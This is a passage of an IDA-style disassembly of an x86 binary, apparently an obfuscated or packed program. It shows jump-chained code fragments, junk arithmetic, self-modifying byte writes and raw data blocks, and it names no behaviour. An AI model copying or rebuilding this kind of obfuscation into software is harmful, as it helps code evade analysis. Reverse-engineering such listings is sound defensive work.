0DE8B5300h, 0BE241C87h, 42F150h, 0AECE9h, 0C6810000h dd 8BD7ED42h, 430CE868h, 38AEE900h, 850F0000h, 2110h, 29DB840Fh dd 9E90000h, 32h, 815D5800h, 183A66C0h, 56E8812Ah, 813B8F4Dh dd 0E5340E0h, 0A6850F4Ah, 2Ah, 85CD0300h, 2A3DE9C1h, 5A000000h dd 0D79687Fh, 815850C9h, 537AABE8h, 3FC0818Ah, 0E923AF97h dd 356Eh, 2C870000h, 0E0376824h, 815FC5D9h, 0E1E360F7h dd 80C781A8h, 87930AE7h, 0D0E9243Ch, 68000016h, 0B643DA4h dd 3A09E9h, 0C0D15800h, 0A199C081h, 6EE96BBBh, 7, 23E18C0Fh dd 880F0000h, 43Ch, 3A10820Fh, 7E680000h, 56A858B1h, 3487F18Bh dd 0EF28B924h, 51E90042h, 8B000030h, 0C4EE8F5h, 0E9000000h dd 11C3h, 3905E9h db 3 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_161. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp loc_42F912 ; --------------------------------------------------------------------------- align 2 add ebx, 0ABCA0E5Dh jmp loc_42F29D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4323E7 loc_42EB3D: ; CODE XREF: sub_4323E7:loc_431BC3j jnb near ptr dword_42EF00+4 ; END OF FUNCTION CHUNK FOR sub_4323E7 ; --------------------------------------------------------------------------- db 0 db 0 db 0E9h ; é db 0DFh ; ß db 0Eh db 0 db 0 db 0F7h ; ÷ db 0C5h ; Å db 0BFh ; ¿ db 99h ; ™ db 0B1h ; ± db 0CFh ; Ï db 0E9h ; é db 98h ; ˜ db 23h ; # db 0 db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42EB56 proc near ; CODE XREF: sub_431410:loc_432616p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042FAD6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004324E3 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push esi push 1EE5CBDBh xchg ecx, [esp+4+var_4] mov esi, ecx pop ecx jmp loc_4324E3 sub_42EB56 endp ; --------------------------------------------------------------------------- jl loc_42F059 add ecx, eax jmp loc_431989 ; --------------------------------------------------------------------------- dd 0E4680000h, 0E900430Fh, 245Ah, 570AE881h, 0F881FB67h dd 8D2465C8h, 0BADE9h, 128B0000h, 0A43C2AF6h, 6850Fh, 0BAE90000h dd 10h, 0E9243C87h, 1D55h, 0E9F73B00h, 2632h, 17C1C100h dd 9758C181h, 0F103DD14h, 1BEFE859h, 0AEE90000h, 0C600000Ah dd 0CF688707h, 0E90042ECh, 3179h, 24348700h, 15F2E85Eh dd 0E2E90000h, 0E9000007h, 2D02h, 4182F081h, 890FF843h dd 3398h, 0FF82E900h, 0FC68FFFFh, 1B9E49DAh, 0FC5C1DEh dd 3377E9h, 3C870000h, 5FC78B24h, 93CE881h, 0C0C10807h dd 78E88106h, 0E971ED4Fh, 1D26h, 7A8D0F00h, 1300000Eh dd 2021E9DEh, 0E8520000h, 9F2h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42EC41: ; CODE XREF: sub_431686:loc_4310CBj add eax, 0F3F0EDE9h or eax, eax jz loc_42FB23 push esi push 96844F2Eh pop esi xor esi, 0CEE1DA5Bh and esi, 902E7186h jmp loc_42F33B ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- align 4 dd 0B8CE8100h, 8105E07Dh, 4BFE8DC6h, 1953E9F8h, 3000000h ; CODE XREF: fzj3qwht:loc_431D41j dd 0E71E8C5h, 0D9810000h, 2D350DD6h, 8F6BF581h, 0F28101C9h dd 164F6DD3h, 5396CA81h, 0C2819CF0h, 72654390h, 380BE9h dd 2D680000h, 5A3934CAh, 8112C2C1h, 346938C2h, 0D6CA81E1h dd 814D70E9h, 31F110FAh, 21B5E98Dh, 19870000h, 1861E9h dd 0E8000000h, 1241h, 24148700h, 6268535Ah, 5BE74228h dd 0F60C381h, 0CBE9D7DCh, 1Dh, 4C08CF81h, 0C7810983h, 0AE32EAAEh dd 0DD5FC703h, 1C68E800h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4316FE loc_42ED04: ; CODE XREF: sub_4316FE+26Dj jmp loc_42F975 ; END OF FUNCTION CHUNK FOR sub_4316FE ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_4301B7 loc_42ED0A: ; CODE XREF: sub_4301B7-179Ej jnb loc_430EA7 ror edi, 0Fh sub edi, ebx js loc_42FA8F loc_42ED1B: ; CODE XREF: sub_4301B7:loc_42EA10j sub ecx, 33D8C30Dh jmp loc_42FC14 ; END OF FUNCTION CHUNK FOR sub_4301B7 ; --------------------------------------------------------------------------- align 4 loc_42ED28: ; CODE XREF: fzj3qwht:loc_43062Bj mov byte ptr [edx], 8Bh pop edx xor eax, 0ED7BE5CBh rol eax, 1 call sub_42FFDE push offset dword_42FBD0 jmp locret_430DBE ; --------------------------------------------------------------------------- align 4 shl edi, 14h jmp loc_42EF97 ; --------------------------------------------------------------------------- loc_42ED4C: ; CODE XREF: fzj3qwht:004303FFj pop ecx or ecx, 0D84A7015h and ecx, 41F09B30h xor ecx, 0E21DFF6Ah loc_42ED5F: ; CODE XREF: fzj3qwht:0042EDDCj and ecx, 0BAD399F6h xor ecx, 0CB8ED07Ch cmp eax, ecx pop ecx jmp loc_42FB05 ; --------------------------------------------------------------------------- align 4 dd 240C8700h, 8159C18Bh, 183A66C0h, 2BFCE92Ah db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42ED87 proc near ; CODE XREF: sub_4301B7-59Bp ; fzj3qwht:004318DCj xchg ebx, [esp+0] pop ebx push offset word_42FE22 jmp nullsub_133 sub_42ED87 endp ; --------------------------------------------------------------------------- align 2 loc_42ED96: ; CODE XREF: fzj3qwht:0042FBB7j mov byte ptr [ecx], 9Dh xchg edx, [esp] mov ecx, edx pop edx add esi, 160EEDBCh jmp loc_431B37 ; --------------------------------------------------------------------------- align 4 pop edx rol edx, 1Eh sub edx, 0E53CBE58h rol edx, 1Bh add edx, 84264892h push offset sub_4301AC jmp loc_430AB0 ; --------------------------------------------------------------------------- db 2 dup(0), 68h ; --------------------------------------------------------------------------- fdivr dword ptr [esi-7EA0B83Eh] mov dword ptr [ebx-7E17E1BCh], 9414F5EFh jnb short loc_42ED5F mov esi, 3B8D0F1Ah mov dword ptr [edi-17h], 8FCh mov esi, [eax] jmp sub_430E46 ; --------------------------------------------------------------------------- dw 0B00h dd 0FB96E9EAh, 0B0E9FFFFh, 2Bh, 0E8008B00h, 0FFFFF974h dd 0F482BE00h, 96E90042h, 2Eh, 0E0815800h, 443009E0h, 0F061E881h dd 6852DEAFh, 0AAB557F4h, 1659E95Ah, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- mov eax, offset loc_4301BF jmp loc_42F5B2 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431AED loc_42EE3D: ; CODE XREF: sub_431AED:loc_4316D0j pop esi rol eax, 1Ch or eax, 1BB14DB6h xor eax, 73E5362Dh or eax, 0FA29AD7Bh push offset byte_43047B jmp nullsub_137 ; END OF FUNCTION CHUNK FOR sub_431AED ; --------------------------------------------------------------------------- locret_42EE5D: ; CODE XREF: fzj3qwht:00430D62j retn ; --------------------------------------------------------------------------- loc_42EE5E: ; CODE XREF: fzj3qwht:004307F2j jmp loc_430EA7 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFFA71h, 0E9D62300h, 1D68h, 85680000h, 0E9004310h dd 15C4h, 0B645E181h, 12E96A13h, 35h, 0BF58C0Fh, 0DF1B0000h ; =============== S U B R O U T I N E ======================================= sub_42EE90 proc near ; CODE XREF: sub_431452:loc_431517p ; FUNCTION CHUNK AT 0042FEF6 SIZE 0000000B BYTES xchg esi, [esp+0] pop esi jmp loc_42FEF6 sub_42EE90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 push offset aHSoxbstxpchC ; "hÝš‘®Xè’•¯—hê(C" jmp locret_42FF52 ; --------------------------------------------------------------------------- dd 0A0C015FFh, 0E8520042h, 34FAh, 0DCE90000h, 4, 316EE800h dd 0E9000000h, 20Ah db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43005C loc_42EEC6: ; CODE XREF: sub_43005C:loc_431CDCj rol esi, 1Fh add esi, 20002205h add eax, esi push offset loc_42F2E3 jmp nullsub_101 ; END OF FUNCTION CHUNK FOR sub_43005C ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F4AE db 68h ; h db 0CFh ; Ï db 0EBh ; ë db 42h ; B db 0 db 0E9h ; é db 3Ah ; : db 33h ; 3 db 0 db 0 ; END OF FUNCTION CHUNK FOR sub_42F4AE db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- loc_42EEE9: ; DATA XREF: sub_431452+8E3o push edi push 49D322Eh pop edi jmp loc_431502 ; --------------------------------------------------------------------------- loc_42EEF5: ; CODE XREF: fzj3qwht:loc_42EF3Ej push edx mov edx, offset dword_43263C jmp loc_431635 ; --------------------------------------------------------------------------- dword_42EF00 dd 0E90B9C00h, 183FC681h, 63E9BD4Dh, 0FFFFFFh ; CODE XREF: sub_4323E7:loc_42EB3Dj ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431167 loc_42EF10: ; CODE XREF: sub_431167:loc_430E98j mov eax, ecx xchg eax, [esp+0] lea eax, byte_431DCE push eax mov eax, offset loc_430C96 jmp loc_430025 ; END OF FUNCTION CHUNK FOR sub_431167 ; --------------------------------------------------------------------------- align 4 loc_42EF28: ; CODE XREF: fzj3qwht:004324B0j add al, 0D5h add edx, 8FA0DCAEh mov edx, [edx] jmp loc_43230D ; --------------------------------------------------------------------------- align 4 jb loc_432512 loc_42EF3E: ; CODE XREF: fzj3qwht:0042F13Cj jmp loc_42EEF5 ; --------------------------------------------------------------------------- align 4 mov byte ptr [ecx], 8Bh pop ecx push ebp mov ebp, esp call sub_431452 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431452 loc_42EF52: ; CODE XREF: sub_431452+155j jmp loc_430598 ; END OF FUNCTION CHUNK FOR sub_431452 ; --------------------------------------------------------------------------- align 4 dd 0E9EA3B00h, 1300h, 24148700h, 0B68525Ah, 516DBA1Ah dd 0C87C88Bh, 0A4366824h, 66E9CA43h, 0FFFFFBh, 24348700h dd 8B243C87h, 96E95FF7h, 0E800000Bh, 3316h, 85FE9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_42EF97: ; CODE XREF: fzj3qwht:0042ED47j xchg edi, [esp] pop edi mov byte ptr [ebx], 3 pop ebx jmp loc_42F38D ; --------------------------------------------------------------------------- dd 0E9F73B00h, 325Ah, 0C74E89Dh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FF6B loc_42EFB2: ; CODE XREF: sub_42FF6B-226j jmp loc_432476 ; END OF FUNCTION CHUNK FOR sub_42FF6B ; --------------------------------------------------------------------------- align 4 loc_42EFB8: ; CODE XREF: fzj3qwht:loc_43231Aj mov byte ptr [eax], 0Fh pop eax add eax, 835E3283h or eax, 6BE77C8Ah call sub_431410 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42EFCF proc near ; CODE XREF: sub_431F11-35CCp ; FUNCTION CHUNK AT 004304D0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00430761 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043077E SIZE 0000000A BYTES xchg ecx, [esp+0] pop ecx push edx mov edx, esi xchg edx, [esp+0] jmp loc_430761 sub_42EFCF endp ; --------------------------------------------------------------------------- mov byte ptr [eax], 0 push 42BC145Ch pop eax push ebx jmp loc_42FAB8 ; --------------------------------------------------------------------------- align 2 xchg edi, [esp] pop edi push 0F16A060Ch push offset loc_42E898 jmp locret_43012D ; --------------------------------------------------------------------------- align 2 xor ecx, 4AFA3F1Eh popf cdq idiv ecx mov [ebp-8], eax inc dword ptr [ebp-10h] cmp dword ptr [ebp-8], 0 jmp loc_430A24 ; --------------------------------------------------------------------------- align 4 dd 0E9F83300h, 385Fh, 0DF685200h, 5A05EA83h, 9EF7F281h dd 0C2815DE0h, 524D8661h, 95A6E281h, 0EA819643h, 509172ECh dd 26DEE9h, 0C3000000h db 0 ; =============== S U B R O U T I N E ======================================= sub_42F04D proc near ; CODE XREF: fzj3qwht:004309DEj ; fzj3qwht:00430BCBp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004308AD SIZE 0000000B BYTES xchg eax, [esp+0] xchg edi, [esp+0] mov eax, edi pop edi mov [esi], eax pop esi loc_42F059: ; CODE XREF: fzj3qwht:0042EB6Bj pushf call sub_4312D7 loc_42F05F: ; CODE XREF: sub_430315+Aj jmp loc_4308AD sub_42F04D endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0F0685000h, 5816BD4Ch, 0E90CC0C1h, 0FFFFF871h, 58240487h dd 7D0D689Ch, 8159F794h, 418DD4F1h, 0FAE957D7h, 5500001Eh dd 2C87EB8Bh, 0ECFBBB24h, 46E90042h, 2Ch, 7DC78100h, 874D102Dh dd 3159240Ch, 850F49C2h, 3372h, 204AE9h, 8B0F0000h, 1C6Ch dd 8C26E981h, 0F8685644h, 0E90042FCh, 1D30h, 0D1870000h dd 6B59E381h, 0E9815DDAh, 0D603131h, 8DFE9h, 0C2810000h dd 0BA4757FAh, 25CEE9h, 0C30000h, 0C1C1E913h, 3AE0811Ah dd 81163211h, 2E8703C0h, 53C5037Fh, 0C52DA968h, 98E95B9Ch dd 1Ch, 3369810Fh, 93E90000h, 87000003h, 3798E92Eh, 89000000h dd 17ECE911h, 0 dd 1AC2840Fh, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_42F134: ; CODE XREF: sub_431F5F-1446j jmp nullsub_147 ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- align 2 sub ebx, ecx jle loc_42EF3E adc esi, 0D22D44C4h mov edi, ebx jmp loc_430BF4 ; --------------------------------------------------------------------------- loc_42F14F: ; DATA XREF: sub_42F4AE:loc_43045Ao dec ecx pop dword ptr [ebp+32CCh] push ebx mov ebx, esi xchg ebx, [esp] mov esi, offset byte_42FA73 jmp loc_431F76 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F5F loc_42F167: ; CODE XREF: sub_431F5F+11j jnz loc_4311F0 jmp loc_43112B ; END OF FUNCTION CHUNK FOR sub_431F5F ; --------------------------------------------------------------------------- dw 0C600h ; --------------------------------------------------------------------------- add esp, edi pop ecx and edx, 0C7760987h sub edx, 8138A0BCh jmp loc_4326D5 ; =============== S U B R O U T I N E ======================================= sub_42F188 proc near ; CODE XREF: fzj3qwht:004302F1j ; FUNCTION CHUNK AT 0042F9E4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043197D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431C6E SIZE 0000000F BYTES xchg ebx, [esp+0] pop ebx mov byte ptr [eax], 3 pop eax push 0BBE934A2h pop esi and esi, 66EAE457h cmp esi, 69421CB2h jmp loc_43197D sub_42F188 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_42F1A7: ; DATA XREF: sub_43041D-10EEo push edi push 70AFED03h pop edi sub edi, 0D94413C9h rol edi, 14h add edi, 6C9985FCh jmp loc_42F3DB ; --------------------------------------------------------------------------- xor edi, eax jmp loc_43264B ; --------------------------------------------------------------------------- loc_42F1C9: ; CODE XREF: fzj3qwht:0042FE4Cj pop ebx retn 0Ch ; --------------------------------------------------------------------------- align 2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_139. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push 83D7BDF0h jmp loc_43180A ; --------------------------------------------------------------------------- add edx, 8B68BECEh or edx, 7BDE42BAh xor edx, 907FFCFBh add edx, 10A155E7h jmp loc_43062B ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42F1F8: ; CODE XREF: sub_42F4AE:loc_42F4E0j mov edx, esi pop esi and edx, 4CD3CB6Eh add edx, 0B3F0012Ah call sub_430B68 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- dd 1C870000h, 51505B24h, 0E1E9CF8Bh, 13000022h, 0F4DB81C5h dd 0E9314B9Ch, 0CA8h, 0FAE80000h, 2300001Dh, 0FD2BE9CBh dd 0F00FFFFh, 0FFFEB88Dh, 0CC830FFFh, 81000003h, 6AB0A6D9h dd 0FEA2E9FAh, 0C300FFFFh, 13DBE900h, 73E90000h, 0FFFFFFh dd 2033E900h db 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_42F263 proc near ; CODE XREF: fzj3qwht:loc_430A50p ; fzj3qwht:00430DC4j xchg esi, [esp+0] pop esi push 5E4244D3h pop esi or esi, 0D715F8E6h jmp loc_42F73C sub_42F263 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov ebx, [edx] jmp loc_432804 ; --------------------------------------------------------------------------- align 10h dd 241C8700h, 20D2E8h, 0E9000000h, 2D4Fh, 0CDC10000h, 0E9D70319h dd 1D8Dh db 0 ; --------------------------------------------------------------------------- loc_42F29D: ; CODE XREF: fzj3qwht:0042EB38j jge loc_4328A5 call loc_4314E1 ; START OF FUNCTION CHUNK FOR sub_430C8C loc_42F2A8: ; CODE XREF: sub_430C8C+Dj jmp loc_42F671 ; END OF FUNCTION CHUNK FOR sub_430C8C ; --------------------------------------------------------------------------- and edi, ecx jmp sub_430C8C ; --------------------------------------------------------------------------- push 50E0B77Fh pop ecx add ecx, 955E3D35h rol ecx, 19h xor ecx, 9FC8C517h add eax, ecx pop ecx mov eax, [eax] jmp loc_431A72 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42F2D4: ; CODE XREF: sub_42F4AE+DEj ; fzj3qwht:loc_42FAB8j mov ebx, offset nullsub_144 jmp loc_4325E1 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 10h ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_101. PRESS KEYPAD "+" TO EXPAND] db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F2E3: ; DATA XREF: sub_43005C-118Bo pop esi loc_42F2E4: ; CODE XREF: fzj3qwht:loc_4322A0j push (offset loc_430364+1) jmp loc_4322E3 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_42F4AE loc_42F2F0: ; CODE XREF: sub_42F4AE+17j xchg ebx, [esp-4+arg_0] xchg eax, [esp-4+arg_0] mov ebx, eax pop eax add ecx, 0DF6D33BFh popf push offset byte_4317BD jmp loc_432376 ; END OF FUNCTION CHUNK FOR sub_42F4AE ; --------------------------------------------------------------------------- align 4 dd 0E89D008Bh, 1D82h, 0E9990000h, 2D10h, 243C8700h, 84C685Fh dd 0F5E90043h, 0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43041D loc_42F32C: ; CODE XREF: sub_43041D-D0Ej ; fzj3qwht:0042F71Aj xchg ebx, [esp+0] push offset loc_42F1A7 jmp loc_43083D ; END OF FUNCTION CHUNK FOR sub_43041D ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42F33B: ; CODE XREF: sub_431686-2A24j xor esi, 398EA582h push ecx mov ecx, offset loc_430CB2 jmp loc_42FEB9 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- loc_42F34C: ; CODE XREF: fzj3qwht:loc_43108Fj sub edx, 8875A63Eh and edx, 96965202h sub edx, 40F27304h js loc_432679 ; --------------------------------------------------------------------------- dd 8E90000h, 0FFFFFFEh, 0DB581h, 0E9318700h, 3301h, 24048700h ; CODE XREF: fzj3qwht:004326AFj dd 8B242C87h, 6C65DC5h, 77E85E8Bh, 0Eh db 0 ; --------------------------------------------------------------------------- loc_42F38D: ; CODE XREF: fzj3qwht:0042EF9Fj jmp loc_430BAB ; --------------------------------------------------------------------------- dw 0C300h dd 35B9E900h, 0C3000000h, 64C08100h, 0E92B73E9h, 657h dd 0F842820Fh, 0FFFFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431686 loc_42F3B0: ; CODE XREF: sub_431686-D23j jmp loc_430CA0 ; END OF FUNCTION CHUNK FOR sub_431686 ; --------------------------------------------------------------------------- db 2 dup(0), 5Ah ; --------------------------------------------------------------------------- or edi, 89137F78h and eax, ebp test ebp, 70A12882h jmp loc_430130 ; --------------------------------------------------------------------------- align 4 dd 8B02C600h, 3102C65Ah, 34A9E85Ah db 3 dup(0) ; --------------------------------------------------------------------------- loc_42F3DB: ; CODE XREF: fzj3qwht:0042F1BDj jmp loc_42F5F2 ; --------------------------------------------------------------------------- dd 588D0F00h, 0C1000013h, 2A8B1BC3h, 4CE93189h, 13h, 3571B4BBh ; CODE XREF: sub_42F4AE+2A12j dd 0E9D81B18h, 120Ah, 24048799h, 8B243487h, 0C0815EC6h dd 9F74F076h, 42F02568h, 0A1DE900h, 0 ; --------------------------------------------------------------------------- mov edx, 0BCF8139h jnp loc_42F99E jmp sub_431F11 ; --------------------------------------------------------------------------- dd 3B680000h, 0E9004316h, 0B42h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_136. PRESS KEYPAD "+" TO EXPAND] dw 0E900h dd 1E7Bh, 0F7810000h, 968894FBh, 8B5FC703h, 0CA689C00h dd 59D941CBh, 2F0EE9h, 87000000h, 487241Ch, 58D88B24h dd 0E9243C87h, 0F3h, 0E7840F00h, 51000013h, 42EF49B9h dd 0FAC6E900h, 0FFFFh ; --------------------------------------------------------------------------- locret_42F480: ; CODE XREF: fzj3qwht:00432815j retn ; --------------------------------------------------------------------------- loc_42F481: ; DATA XREF: fzj3qwht:00432810o popf mov al, [eax] sub al, 99h push 0D31428Ch pop edx or edx, 0C7FFAF9Bh jmp loc_4312BC ; --------------------------------------------------------------------------- align 4 mov esi, ebp pop ebp pushf push ecx push 0D02DBA39h xchg edi, [esp] mov ecx, edi pop edi jmp loc_431D4E ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_42F4AE proc near ; CODE XREF: sub_42EE90+106Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0042EEDC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042F1F8 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042F2D4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042F2F0 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042FBA7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042FBEB SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0042FCB8 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042FDFB SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042FE7E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043000C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430121 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043042F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043045A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00430669 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00430A70 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00430EE6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00430F5C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00430FDF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004318F9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00431EA6 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00432243 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00432376 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043243C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004325E1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00432766 SIZE 0000000F BYTES xchg eax, [esp-8+arg_4] pop eax add ebx, ebp add ebx, 69DEF140h mov ebx, [ebx] jmp loc_42F6B2 ; --------------------------------------------------------------------------- align 2 mov [ebp+0], edx jmp loc_42F2F0 ; --------------------------------------------------------------------------- dw 0D381h dd 0AAB8E258h, 0FFFF86E9h, 3107C6FFh, 0FE12E85Fh, 0FFFFh ; --------------------------------------------------------------------------- loc_42F4E0: ; CODE XREF: sub_431452-154j jmp loc_42F1F8 ; --------------------------------------------------------------------------- align 2 cmp edx, ebp jmp loc_430669 ; --------------------------------------------------------------------------- align 2 test eax, 0C8450A3h jmp loc_431EA6 ; --------------------------------------------------------------------------- db 2 dup(0), 5Bh dd 0BF10E381h, 0C3F71BB1h, 2000h, 0FFFC1FE9h, 0C60000FFh dd 6851C300h, 6090FF8h, 0C6C98159h, 0E9CD8639h, 3047h db 0 ; --------------------------------------------------------------------------- locret_42F525: ; CODE XREF: sub_42F4AE:loc_4318F9j retn ; --------------------------------------------------------------------------- align 4 jmp loc_432766 ; --------------------------------------------------------------------------- db 2 dup(0), 57h ; CODE XREF: fzj3qwht:004311A1j ; fzj3qwht:loc_431ABEj db 0BFh ; ¿ db 65h ; e db 1Fh db 43h ; C db 0 db 0E9h ; é db 0A2h ; ¢ db 0F9h ; ù db 0FFh db 0FFh db 0 ; --------------------------------------------------------------------------- locret_42F53B: ; CODE XREF: fzj3qwht:loc_432430j retn ; --------------------------------------------------------------------------- loc_42F53C: ; CODE XREF: fzj3qwht:00432964j jmp loc_42FE7E ; --------------------------------------------------------------------------- jmp loc_43042F ; --------------------------------------------------------------------------- dw 0E800h dd 0FFFFFA4Bh, 0D5130000h, 2042E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F556: ; CODE XREF: fzj3qwht:00430C0Cj add eax, ebx call sub_43098E ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFF9B1h, 24B800Fh, 0DA1B0000h, 2815E9h db 0 ; --------------------------------------------------------------------------- locret_42F571: ; CODE XREF: fzj3qwht:loc_4322E3j retn ; --------------------------------------------------------------------------- align 4 jmp nullsub_154 ; --------------------------------------------------------------------------- db 0Fh, 8Eh, 0B6h dd 0E900001Dh, 0FFFFF444h ; --------------------------------------------------------------------------- locret_42F584: ; CODE XREF: fzj3qwht:loc_4311DCj retn ; --------------------------------------------------------------------------- jmp nullsub_155 ; --------------------------------------------------------------------------- xchg edx, eax jnp loc_42F2D4 jmp sub_4309EE ; --------------------------------------------------------------------------- align 4 jnb loc_43141A jmp loc_430F5C ; --------------------------------------------------------------------------- xchg ebp, [esp-0Ch+arg_8] mov ebx, offset loc_42FDEC jmp loc_430A70 ; --------------------------------------------------------------------------- locret_42F5B0: ; CODE XREF: sub_4316FE:loc_43249Cj retn ; --------------------------------------------------------------------------- align 2 loc_42F5B2: ; CODE XREF: fzj3qwht:0042EE36j mov byte ptr [eax], 9Ch pop eax xor eax, 0CAC7E5B1h add eax, 4FB77B60h add eax, ebp push offset sub_4301B7 jmp loc_430FDF ; --------------------------------------------------------------------------- dw 8100h ; CODE XREF: sub_43239B+Aj dd 913564EAh, 13C2C15Dh, 5E47EA81h, 0F2811637h, 0E6B0A611h dd 0C281D503h, 1FF958DCh, 2212E9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F5F2: ; CODE XREF: fzj3qwht:loc_42F3DBj mov byte ptr [edi], 87h pop edi mov ecx, ebx xchg edx, [esp-10h+arg_C] mov ebx, edx jmp loc_432243 ; --------------------------------------------------------------------------- align 4 dd 28E9D133h, 0FFFFF4h, 0BF118900h, 0B564A4B2h, 2E01E9h dd 242C8700h, 0F8126856h, 535E6E5Dh, 431B2EBBh, 0FF19E900h dd 0FFFFh, 1487EA87h, 51685A24h, 5A9C028Ch, 0E917C2C1h dd 1353h, 0C2810000h, 84566374h, 1487128Bh, 174C6824h dd 90E90043h, 0FFFFF5h, 3A8C0F00h, 13000004h, 0C1CD1BE8h dd 0DEE91EC9h, 1Dh db 0 ; --------------------------------------------------------------------------- loc_42F671: ; CODE XREF: sub_430C8C:loc_42F2A8j push ecx mov ecx, esi xchg ecx, [esp-0Ch+arg_8] jmp loc_430EE6 ; --------------------------------------------------------------------------- dd 0BDE95D00h, 1Bh, 430E5F68h, 2D3FE900h, 4AB80000h, 0E9FFF4D5h dd 14B4h, 8C0F0000h, 8E1h, 0A8E90000h, 3FFFFFBh, 0E93087F0h dd 8D1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_42F6B2: ; CODE XREF: sub_42F4AE+Ej popf push offset loc_430D85 jmp loc_4318F9 sub_42F4AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0), 0C3h ; CODE XREF: fzj3qwht:004302EAj dd 5BE90000h, 2Dh, 8702C600h, 0F7C2815Ah, 870AC332h, 0FAE92414h ; CODE XREF: fzj3qwht:loc_431F03j dd 0Bh, 0AE0C100h, 0FFF394E9h, 0E9C300FFh, 29FFh, 0E90B8900h dd 2FC0h, 0D209108Bh, 261C840Fh, 